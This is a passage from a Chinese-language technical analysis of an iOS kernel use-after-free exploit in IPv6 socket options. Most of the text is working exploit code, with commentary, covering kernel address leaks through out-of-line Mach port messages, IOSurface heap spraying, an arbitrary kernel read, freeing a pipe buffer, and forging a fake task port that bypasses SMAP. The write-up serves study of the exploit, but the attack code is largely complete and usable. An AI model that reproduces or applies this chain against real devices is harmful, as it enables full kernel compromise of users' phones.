data = kalloc(ports_length);
#ifdef __LP64__
mach_port_name_t *names = &((mach_port_name_t *)data)[count];
#else
mach_port_name_t *names = ((mach_port_name_t *)data);
#endif
objects = (ipc_object_t *) data;
dsc->address = data;
for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;
if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
continue;
}
kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object);
objects[i] = object;
}
return user_dsc;
}
函数`ipc_object_copyin()`包含两个函数：`ipc_right_lookup_write()`和`ipc_right_copyin()`
kern_return_t
ipc_object_copyin(
ipc_space_t space,
mach_port_name_t name,
mach_msg_type_name_t msgt_name,
ipc_object_t *objectp)
{
ipc_entry_t entry;
ipc_port_t soright;
ipc_port_t release_port;
kern_return_t kr;
int assertcnt = 0;
kr = ipc_right_lookup_write(space, name, &entry);
release_port = IP_NULL;
kr = ipc_right_copyin(space, name, entry,
msgt_name, TRUE,
objectp, &soright,
&release_port,
&assertcnt);
...
return kr;
}
函数`ipc_right_lookup_write()`调用函数`ipc_entry_lookup()`，返回值赋值给`entry`
kern_return_t
ipc_right_lookup_write(
ipc_space_t space,
mach_port_name_t name,
ipc_entry_t *entryp)
{
ipc_entry_t entry;
is_write_lock(space);
if ((entry = ipc_entry_lookup(space, name)) == IE_NULL) {
is_write_unlock(space);
return KERN_INVALID_NAME;
}
*entryp = entry;
return KERN_SUCCESS;
}
这里需要提两个概念，一个是结构体`ipc_space`，它是整个Task的IPC空间，另一个是结构体`ipc_entry`，它指向的是结构体`ipc_object`，结构体`ipc_space`有一个成员`is_table`专门用于存储当前Task所有的`ipc_entry`，在我们这里的场景，`ipc_entry`指向的是`ipc_port`，也就是说，变量`entry`拿到的是最开始传入的`Task
Port`在内核态的地址
ipc_entry_t
ipc_entry_lookup(
ipc_space_t space,
mach_port_name_t name)
{
mach_port_index_t index;
ipc_entry_t entry;
index = MACH_PORT_INDEX(name);
if (index < space->is_table_size) {
entry = &space->is_table[index];
...
}
return entry;
}
层层往回走，函数`ipc_object_copyin()`的参数`objectp`会被存储到Caller函数`ipc_kmsg_copyin_ool_ports_descriptor()`的`objects[]`数组里，数组`objects[]`在函数`ipc_kmsg_copyin_ool_ports_descriptor`进行内存空间分配，所以我们只要让`ports_length`等于`inp->in6p_outputopts`的大小，就可以让它分配到我们释放掉的空间里
data = kalloc(ports_length);
objects = (ipc_object_t *) data;
我做了一张逻辑调用图，注意红框
先创建一个`Ports`数组用于存储传入的用户态`Task Port`，然后构造`OOL
Message`，其它都不重要，主要看`msg->ool_ports.address`和`msg->ool_ports.count`，这两个构造好就行，调用函数`msg_send()`发送消息，此时就会发生内存分配，将用户态`Task
Port`转为`Task Port`的内核态地址并写入我们可控的内存空间
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
mach_port_t q = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
for (int i = 0; i < count; i++) {
ports[i] = target_port;
}
struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
msg->hdr.msgh_remote_port = q;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414141;
msg->body.msgh_descriptor_count = 1;
msg->ool_ports.address = ports;
msg->ool_ports.count = count;
msg->ool_ports.deallocate = 0;
msg->ool_ports.disposition = disposition;
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg->hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
return q;
}
结构体`ip6_pktopts`的大小是`192`，我没找到对应的头文件来导入这个结构体，笨办法把整个结构体拷贝出来了，然后调用函数`sizeof()`来计算，这里根据结构体的成员分布，选择了`ip6po_minmtu`和`ip6po_prefer_tempaddr`进行组合，同时增加了内核指针特征进行判断
uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
int sock = get_socket_with_dangling_options();
for (int i = 0; i < 0x10000; i++) {
mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
int mtu;
int pref;
get_minmtu(sock, &mtu); // this is like doing rk32(options + 180);
get_prefertempaddr(sock, &pref); // this like rk32(options + 184);
uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
mach_port_destroy(mach_task_self(), p);
close(sock);
return ptr;
}
mach_port_destroy(mach_task_self(), p);
}
close(sock);
return 0;
}
## 5\. 泄露IPC_SPACE内核地址
在泄露`Task
Port`内核态地址的时候，我们利用的是传输Port过程中内核自动将其转换为内核态地址的机制往可控的内存里填充数据，而想要泄露内核任意地址上的数据，就需要使用更加稳定的方式实现原语
首先来看结构体`ip6_pktopts`，现在有一个指针指向这一片已经释放掉的内核空间，我们通过某些方式可以让这片内核空间写上我们构造的数据，那么就有几个问题需要解决
1. 怎么申请到这片内存并将数据写进去？
2. 怎么利用写进去的数据实现内核任意地址读原语？
struct ip6_pktopts {
struct mbuf *ip6po_m; /* Pointer to mbuf storing the data */
int ip6po_hlim; /* Hoplimit for outgoing packets */
struct in6_pktinfo *ip6po_pktinfo;
struct ip6po_nhinfo ip6po_nhinfo;
struct ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */
struct ip6_dest *ip6po_dest1;
struct ip6po_rhinfo ip6po_rhinfo;
struct ip6_dest *ip6po_dest2;
int ip6po_tclass; /* traffic class */
int ip6po_minmtu; /* fragment vs PMTU discovery policy */
int ip6po_prefer_tempaddr;
int ip6po_flags;
};
第二个问题比较好解决，我们可以看到结构体`ip6_pktopts`有好几个结构体类型成员，比如结构体`ip6po_pktinfo`，那么我们就可以把这个结构体成员所在偏移设置为我们要泄露数据的地址，设置整型变量`ip6po_minmtu`为一个特定值，然后堆喷这个构造好的数据到内存里，利用函数`getsockopt()`读漏洞Socket的`ip6po_minmtu`是否为我们标记的特定值
如果是特定值说明这个漏洞Socket已经成功喷上了我们构造的数据，再通过函数`getsockopt()`读取结构体变量`ip6po_pktinfo`的值即可泄露出构造地址的数据，结构体`in6_pktinfo`的大小为20字节，所以作者实现了函数`read_20_via_uaf()`用于泄露指定地址的数据
void* read_20_via_uaf(uint64_t addr) {
int sockets[128];
for (int i = 0; i < 128; i++) {
sockets[i] = get_socket_with_dangling_options();
}
struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
fake_opts->ip6po_minmtu = 0x41424344; // 设置特征值
*(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344;
fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; // 设置要读的内核地址
bool found = false;
int found_at = -1;
for (int i = 0; i < 20; i++) {
spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts)); // 堆喷
for (int j = 0; j < 128; j++) {
int minmtu = -1;
get_minmtu(sockets[j], &minmtu);
if (minmtu == 0x41424344) { // 逐个检查特征值，发现就跳出
found_at = j; // save its index
found = true;
break;
}
}
if (found) break;
}
free(fake_opts);
if (!found) {
printf("[-] Failed to read kernel\n");
return 0;
}
// 把其余的Socket都关闭
for (int i = 0; i < 128; i++) {
if (i != found_at) {
close(sockets[i]);
}
}
// 通过函数getsockopt()获取fake_opts->ip6po_pktinfo的数据
void *buf = malloc(sizeof(struct in6_pktinfo));
get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);
close(sockets[found_at]);
return buf;
}
如何构造任意读的原语方法有了，剩下的关键就是如何将构造好的数据堆喷到`inp->in6p_outputopts`，我们来学习一种新的堆喷方式：利用`IOSurface`进行堆风水
关于序列化与反序列化相关的资料大家可以参考这篇文章的第二段`Overview of OSUnserializeBinary`，写的非常详细
* [Analysis and exploitation of Pegasus kernel vulnerabilities (CVE-2016-4655 / CVE-2016-4656)](http://jndok.github.io/2016/10/04/pegasus-writeup/)
我这里以自己的理解作简单的记录
相关的有两个函数：`OSUnserializeBinary()`与`OSUnserializeXML()`
我们有两种模式可以构造数据，一种是XML，另一种是Binary，Binary模式是以`uint32`为类型的数据，当数据头部是`0x000000d3`的时候，就会自动跳到函数`OSUnserializeBinary()`处理
`uint32`长度是32位，也就是4个字节，第32位用于表示结束节点，第24位到30位表示存储的数据，第0到23位表示数据长度
**0(31) 0000000(24) 000000000000000000000000**
#define kOSSerializeBinarySignature "\323\0\0" /* 0x000000d3 */
enum {
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
};
举个例子来理解计算过程，`0x000000d3`表示这是Binary模式，`0x81000002`表示当前集合`kOSSerializeDictionary`内有两个元素，接下来依次填充元素，第一个元素是`kOSSerializeString`，元素长度是4，`0x00414141`表示元素数据，`kOSSerializeBoolean`表示第二个元素，最后一位直接可以表示`True`或者`False`
0x000000d3 // kOSSerializeBinarySignature
0x81000002 // kOSSerializeDictionary | 2 | kOSSerializeEndCollection
0x09000004 // kOSSerializeString | 4
0x00414141 // AAA
0x8b000001 // kOSSerializeBoolean | 1 | kOSSerializeEndCollection
根据我们的分析，上面一段数据的解析结果如下，注意字符串类型最后的`00`截止符是会占位的
<dict>
<string>AAA</string>
<boolean>1</boolean>
</dict>
**这个计算过程一定要理解，接下来的堆喷需要用到这个计算方式**
作者使用函数`spray_IOSurface()`作为调用入口实现了堆喷，`32`表示尝试32次堆喷，`256`表示存储的数组元素个数
int spray_IOSurface(void *data, size_t size) {
return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL);
}
函数`IOSurface_spray_with_gc()`作为封装，直接调用函数`IOSurface_spray_with_gc_internal()`，最后一个参数`callback`设置为`NULL`，此处不用处理
bool
IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,
void *data, uint32_t data_size,
void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
return IOSurface_spray_with_gc_internal(array_count, array_length, 0,
data, data_size, callback);
}
最终实现在函数`IOSurface_spray_with_gc_internal()`里，这个函数比较复杂，我们按照逻辑进行拆分
初始化`IOSurface`获取`IOSurfaceRootUserClient`
bool ok = IOSurface_init();
计算每一个`data`所需要的`XML Unit`数量，因为`00`截止符的原因，`data_size`需要减去1再进行计算，其实就是向上取整
size_t xml_units_per_data = xml_units_for_data_size(data_size);
static size_t
xml_units_for_data_size(size_t data_size) {
return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t);
}
比如字符串长度为3字节，加上`00`截止符就是4字节，需要1个`uint32`
0x09000004 // kOSSerializeString | 4
0x00414141 // AAA
那如果字符串长度是7字节，加上`00`截止符就是8字节，此时就需要2个`uint32`，也就是上面计算的`XML Unit`
0x09000008 // kOSSerializeString | 4
0x41414141 // AAAA
0x00414141 // AAA
这里有很多个`1`，每个`1`都是一个`uint32`类型的数据，这个留着后面具体构造的时候再分析，这里计算的是一个完整的XML所需要的`XML
Unit`，其中包含了256个`data`，每个`data`所需要占用的`XML
Unit`为函数`xml_units_for_data_size()`计算的结果，此处加1操作是因为每个`data`需要一个`kOSSerializeString`作为元素标签，这个标签占用1个`uint32`
size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
上面计算完需要的`xml_units`之后，下面开始分配内存空间，`xml[0]`为变长数组
struct IOSurfaceValueArgs {
uint32_t surface_id;
uint32_t _out1;
union {
uint32_t xml[0];
char string[0];
};
};
struct IOSurfaceValueArgs *args;
size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
args = malloc(args_size);
这是很重要的一步，此前计算的几个数据会在这里传入函数`serialize_IOSurface_data_array()`进行最终的`XML`构造
uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
uint32_t *key;
size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key);
函数`serialize_IOSurface_data_array()`的构造过程我们前面有详细的解释，前后6个`1`在这里体现为`kOSSerializeBinarySignature`等元素
static size_t
serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size,
uint32_t **xml_data, uint32_t **key) {
uint32_t *xml = xml0;
*xml++ = kOSSerializeBinarySignature;
*xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
*xml++ = kOSSerializeArray | array_length;
for (size_t i = 0; i < array_length; i++) {
uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
*xml++ = kOSSerializeData | (data_size - 1) | flags;
xml_data[i] = xml; // 记录当前偏移，后续用于填充data
xml += xml_units_for_data_size(data_size);
}
*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
*key = xml++; // This will be filled in on each array loop.
*xml++ = 0; // Null-terminate the symbol.
return (xml - xml0) * sizeof(*xml);
}
最终构造的`XML`如下
<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
<kOSSerializeData length=${data_size - 1}>
<!-- xml_data[0] -->
</kOSSerializeData>
<kOSSerializeData length=${data_size - 1}>
<!-- xml_data[1] -->
</kOSSerializeData>
<!-- ... -->
<kOSSerializeData length=${data_size - 1}>
<!-- xml_data[array_length - 1] -->
</kOSSerializeData>
</kOSSerializeArray>
<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol>
<key>${key}</key>
0
此时我们拥有了一个`XML`模板，开始往里面填充数据，填充的数据分为两部分，一部分是构造的`data`，另一部分是标识`key`，完成填充后调用函数`IOSurface_set_value()`，该函数是函数`IOConnectCallMethod()`的封装，用于向内核发送数据
for (uint32_t array_id = 0; array_id < array_count; array_id++) {
*key = base255_encode(total_arrays + array_id);
for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
memcpy(xml_data[data_id], data, data_size - 1);
}
ok = IOSurface_set_value(args, args_size);
}
完整的主代码如下，我去掉了一部分不会访问到的逻辑
static uint32_t total_arrays = 0;
static bool
IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count,
void *data, uint32_t data_size,
void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
// 初始化IOSurface，获取IOSurfaceRootUserClient用于函数调用
bool ok = IOSurface_init();
// 此处extra_count为0，每次堆喷的数组长度为256，数组元素就是我们构造的数据data
uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0);
// 计算每一个数组元素data所需要的节点数量
size_t xml_units_per_data = xml_units_for_data_size(data_size);
size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
// Allocate the args struct.
struct IOSurfaceValueArgs *args;
size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
args = malloc(args_size);
// Build the IOSurfaceValueArgs.
args->surface_id = IOSurface_id;
// Create the serialized OSArray. We'll remember the locations we need to fill in with our
// data as well as the slot we need to set our key.
uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
uint32_t *key;
size_t xml_size = serialize_IOSurface_data_array(args->xml,
current_array_length, data_size, xml_data, &key);
// Keep track of when we need to do GC.
size_t sprayed = 0;
size_t next_gc_step = 0;
for (uint32_t array_id = 0; array_id < array_count; array_id++) {
// If we've crossed the GC sleep boundary,
// sleep for a bit and schedule the next one.
// Now build the array and its elements.
*key = base255_encode(total_arrays + array_id);
for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
// Copy in the data to the appropriate slot.
memcpy(xml_data[data_id], data, data_size - 1);
}
// Finally set the array in the surface.
ok = IOSurface_set_value(args, args_size);
if (ok) {
sprayed += data_size * current_array_length;
}
}
if (next_gc_step > 0) {
// printf("\n");
}
free(args);
free(xml_data);
total_arrays += array_count;
return true;
}
堆喷的细节就分析到这里，所以在利用中，我们构造好堆喷数据和长度之后，就可以调用函数`rk64_via_uaf()`进行堆喷操作
uint64_t rk64_via_uaf(uint64_t addr) {
void *buf = read_20_via_uaf(addr);
if (buf) {
uint64_t r = *(uint64_t*)buf;
free(buf);
return r;
}
return 0;
}
我们在上一步已经获取了`Task Port`的内核态地址，根据结构体偏移，我们可以获取到`IPC_SPACE`的内核地址
uint64_t ipc_space_kernel = rk64_via_uaf(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
if (!ipc_space_kernel) {
printf("[-] kernel read primitive failed!\n");
goto err;
}
printf("[i] ipc_space_kernel: 0x%llx\n", ipc_space_kernel);
获取一下数据
[i] our task port: 0xfffffff001c3cc38
[i] ipc_space_kernel: 0xfffffff000a22fc0
## 6\. 任意释放Pipe Buffer
Pipe管道是一个可以用于跨进程通信的机制，它会在内核缓冲区开辟内存空间进行数据的读写，`fds[1]`用于写入数据，`fds[0]`用于读取数据
比如现在读写下标在`0`的位置，我们写入`0x10000`字节，那么下标就会移动到`0x10000`，当我们读取`0x10000`字节的时候，下标就会往回移动到`0`
最后一句写`8`字节到缓冲区里是为了用于后面的堆喷操作可以用构造的数据填充这片缓冲区，可以直接读取`8`字节的数据
int fds[2];
ret = pipe(fds);
uint8_t pipebuf[0x10000];
memset(pipebuf, 0, 0x10000);
write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel
read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position
write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes
当我们调用函数`setsockopt()`时，会调用到函数`ip6_setpktopt()`
setsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, sizeof(*pktinfo));
当选项名为`IPV6_PKTINFO`时，我们会发现一个逻辑：如果`pktinfo->ipi6_ifindex`为`0`且`&pktinfo->ipi6_addr`开始的`12`个字节的数据也都是`0`，就会调用函数`ip6_clearpktopts()`释放掉当前的`ip6_pktopts->in6_pktinfo`，这个判断条件简化一下就是整个结构体数据都是`0`就会被释放
define IN6_IS_ADDR_UNSPECIFIED(a) \
((*(const __uint32_t *)(const void *)(&(a)->s6_addr[0]) == 0) && \
(*(const __uint32_t *)(const void *)(&(a)->s6_addr[4]) == 0) && \
(*(const __uint32_t *)(const void *)(&(a)->s6_addr[8]) == 0) && \
(*(const __uint32_t *)(const void *)(&(a)->s6_addr[12]) == 0))
static int
ip6_setpktopt(int optname, u_char *buf, int len, struct ip6_pktopts *opt,
int sticky, int cmsg, int uproto)
{
int minmtupolicy, preftemp;
int error;
boolean_t capture_exthdrstat_out = FALSE;
switch (optname) {
case IPV6_2292PKTINFO:
case IPV6_PKTINFO: {
struct ifnet *ifp = NULL;
struct in6_pktinfo *pktinfo;
if (len != sizeof (struct in6_pktinfo))
return (EINVAL);
pktinfo = (struct in6_pktinfo *)(void *)buf;
if (optname == IPV6_PKTINFO && opt->ip6po_pktinfo &&
pktinfo->ipi6_ifindex == 0 &&
IN6_IS_ADDR_UNSPECIFIED(&pktinfo->ipi6_addr)) {
ip6_clearpktopts(opt, optname);
break;
}
...
}
函数`ip6_clearpktopts()`调用`FREE()`来执行释放缓冲区操作，这里面涉及到了堆的分配释放问题，由于并不是本文分析的重点，不过多深入
#define R_Free(p) FREE((caddr_t)p, M_RTABLE);
#define FREE(addr, type) \
_FREE((void *)addr, type)
#define FREE(addr, type) \
_FREE((void *)addr, type)
#define free _FREE
#define FREE(addr, type) _free((void *)addr, type, __FILE__, __LINE__)
void
ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname)
{
if (optname == -1 || optname == IPV6_PKTINFO) {
if (pktopt->ip6po_pktinfo)
FREE(pktopt->ip6po_pktinfo, M_IP6OPT);
pktopt->ip6po_pktinfo = NULL;
}
...
}
我们现在想要实现释放Pipe缓冲区只需要先获取它的地址，然后IOSurface堆喷使用这个Pipe缓冲区地址构造的数据，通过调用函数`setsockopt()`设置整个`in6_pktinfo`结构体数据为`0`就可以把这个Pipe缓冲区给释放掉
根据我们泄露出来的`Task Port`获取Pipe缓冲区地址，注意不同的系统版本偏移需要有所调整
uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));
uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);
uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);
函数`free_via_uaf()`与函数`rk64_via_uaf()`前面部分一样，都是通过创建一堆存在漏洞的Socket，然后去堆喷，只不过这里还要多一步填充结构体`in6_pktinfo`数据，可以看到我们填充的是一个全为`0`的数据，那么就会触发它进行释放操作
int free_via_uaf(uint64_t addr) {
...
struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo));
memset(buf, 0, sizeof(struct in6_pktinfo));
int ret = set_pktinfo(sockets[found_at], buf);
free(buf);
return ret;
}
前期的准备工作到这里就差不多了，我们接下来开始进入一个关键环节：伪造一个Port
## 7\. 伪造Task Port
**备注：因为SMAP是iPhone 7开始引入的安全机制，内核访问用户态的内存会被限制，而我的测试环境是iPhone
6，所以前面我淡化了SMAP的存在感，但接下来该面对还是要面对**
申请一个`target`用于伪造Port，函数`find_port_via_uaf()`通过OOL数据自动转换Port为内核态地址的机制获取Port的内核态地址`target_addr`，函数`free_via_uaf()`将`pipe_buffer`给释放掉，但管道句柄`fds[0]`和`fds[1]`依旧拥有对这个内核缓冲区的读写权限
mach_port_t target = new_port();
uint64_t target_addr = find_port_via_uaf(target, MACH_MSG_TYPE_COPY_SEND);
ret = free_via_uaf(pipe_buffer);
这个循环的操作有点像函数`find_port_via_uaf()`，利用自动转换的`Task
Port`内核态地址占位刚才释放掉的`pipe_buffer`，因为我们之前写入了`8`字节，所以这里读取`8`字节就是`pipe_buffer`的前`8`个字节数据，判断一下使用两种方法获取到的Port内核态地址是否相同，如果相同就退出循环，如果不同说明堆喷不成功，复位下标继续循环
mach_port_t p = MACH_PORT_NULL;
for (int i = 0; i < 10000; i++) {
p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);
uint64_t addr;
read(fds[0], &addr, 8);
if (addr == target_addr) { // if we see the address of our port, it worked
break;
}
write(fds[1], &addr, 8); // reset buffer position
mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
p = MACH_PORT_NULL;
}
除了`fds`之外，额外申请一个`port_fds`用于绕过SMAP的限制
int port_fds[2] = {-1, -1};
if (SMAP) {
ret = pipe(port_fds);
}
当我们获得一个填充满了Port内核态地址的内核缓冲区`pipe_buffer`之后，就需要构造一个`ipc_port`结构体了
将结构体`ipc_port`和`task`放在了连续的一片内存空间，构建完之后刷一遍`port_fds`缓冲区
kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);
ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));
bzero((void *)fakeport, sizeof(kport_t) + 0x600);
fake_task->ref_count = 0xff;
fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 0xd00d;
fakeport->ip_lock.type = 0x11;
fakeport->ip_messages.port.receiver_name = 1;
fakeport->ip_messages.port.msgcount = 0;
fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
fakeport->ip_srights = 99;
fakeport->ip_kobject = 0;
fakeport->ip_receiver = ipc_space_kernel;
if (SMAP) {
write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
}
申请空间时的`kport_t`为作者构造的一个`port`结构体
typedef volatile struct {
uint32_t ip_bits;
uint32_t ip_references;
struct {
uint64_t data;
uint64_t type;
} ip_lock; // spinlock
struct {
struct {
struct {
uint32_t flags;
uint32_t waitq_interlock;
uint64_t waitq_set_id;
uint64_t waitq_prepost_id;
struct {
uint64_t next;
uint64_t prev;
} waitq_queue;
} waitq;
uint64_t messages;
uint32_t seqno;
uint32_t receiver_name;
uint16_t msgcount;
uint16_t qlimit;
uint32_t pad;
} port;
uint64_t klist;
} ip_messages;
uint64_t ip_receiver;
uint64_t ip_kobject;
uint64_t ip_nsrequest;
uint64_t ip_pdrequest;
uint64_t ip_requests;
uint64_t ip_premsg;
uint64_t ip_context;
uint32_t ip_flags;
uint32_t ip_mscount;
uint32_t ip_srights;
uint32_t ip_sorights;
} kport_t;
我们要做的，是将这个`Fake Task
Port`的地址，替换到刚才被释放的内核缓冲区`pipe_buffer`里，这样整个内核缓冲区的布局就是：第一个`8`字节是我们`Fake Task
Port`的地址，后面都是正常Port的地址
先获取`Fake Task Port`的地址`port_pipe_buffer`，也就是`port_fds`对应的内核缓冲区
uint64_t port_fg_data = 0;
uint64_t port_pipe_buffer = 0;
if (SMAP) {
fproc = rk64_check(fd_ofiles + port_fds[0] * 8);
f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
port_fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
port_pipe_buffer = rk64_check(port_fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
printf("[*] second pipe buffer: 0x%llx\n", port_pipe_buffer);
}
`fakeport->ip_kobject`指向的是结构体`Task`，这个结构体还没有进行初始化，到这里完成`Fake Task Port`的内存数据构造
fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);
将完成构造的`Fake Task Port`数据刷到内核缓冲区里
write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
这是我们释放掉的`pipe_buffer`，将第一个`8`字节替换为`port_pipe_buffer`的地址，那么逻辑上第一个Port内核态地址指向的内核内存空间我们就可以通过`port_fds`来进行控制了
write(fds[1], &port_pipe_buffer, 8);
获取`Fake Task Port`的用户态句柄，从`p`中读出我们发送的OOL数据，第一个元素就是我们的`Fake Task
Port`，如同用户态传到内核态会调用`CAST_MACH_NAME_TO_PORT`将用户态句柄转换为内核态地址一样，内核态传到用户态会调用`CAST_MACH_PORT_TO_NAME`将内核态地址转换为用户态句柄
struct ool_msg *msg = malloc(0x1000);
ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
mach_port_t *received_ports = msg->ool_ports.address;
mach_port_t our_port = received_ports[0]; // fake port!
free(msg);
于是我们现在拥有了`Fake Task Port`的用户态句柄和内核态地址
## 8\. 填充VM_MAP
作者在这里实现了两个内核任意读的原语，我们先来分析一下它背后的取值逻辑
通过`fake_task`获取到`bsd_info`赋值给指针变量`read_addr_ptr`，宏`kr32`里重新设置指针变量`read_addr_ptr`的值，再调用函数`pid_for_task()`，这逻辑完全看不懂什么意思
uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
#define kr32(addr, value)\
if (SMAP) {\
read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\
}\
*read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\
if (SMAP) {\
write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\
}\
value = 0x0;\
ret = pid_for_task(our_port, (int *)&value);
uint32_t read64_tmp;
#define kr64(addr, value)\
kr32(addr + 0x4, read64_tmp);\
kr32(addr, value);\
value = value | ((uint64_t)read64_tmp << 32)
顺着获取PID这个思路想一下，通过一个Port内核态地址来获取PID的方式如下
*(*(*(fake_port + offset_kobject) + offset_bsd_info) + offset_p_pid)
如果将`kobject`的值设置为`addr -offset_p_pid`，`addr`为我们要读取数据的地址，可以看到此时获取的就是我们传入的`addr`指向的数据
*(addr - offset_p_pid + offset_p_pid) => *addr
可以得出结论：获取`read_addr_ptr`与宏`kr32()`里设置`read_addr_ptr`的值等价于设置`task->bsd_info`为`addr
-offset_p_pid`，当调用函数`pid_for_task()`去获取PID时，就能实现任意读，在此基础上，宏`k64()`实现了`8`字节读取效果
这个内核任意读原语实现的很漂亮！
利用这个任意读原语来实现PID的遍历，先判断本Task的PID是否为`0`，如果不是就获取前一个Task，如果获取到PID为`0`，就获取VM_MAP
uint64_t struct_task;
kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);
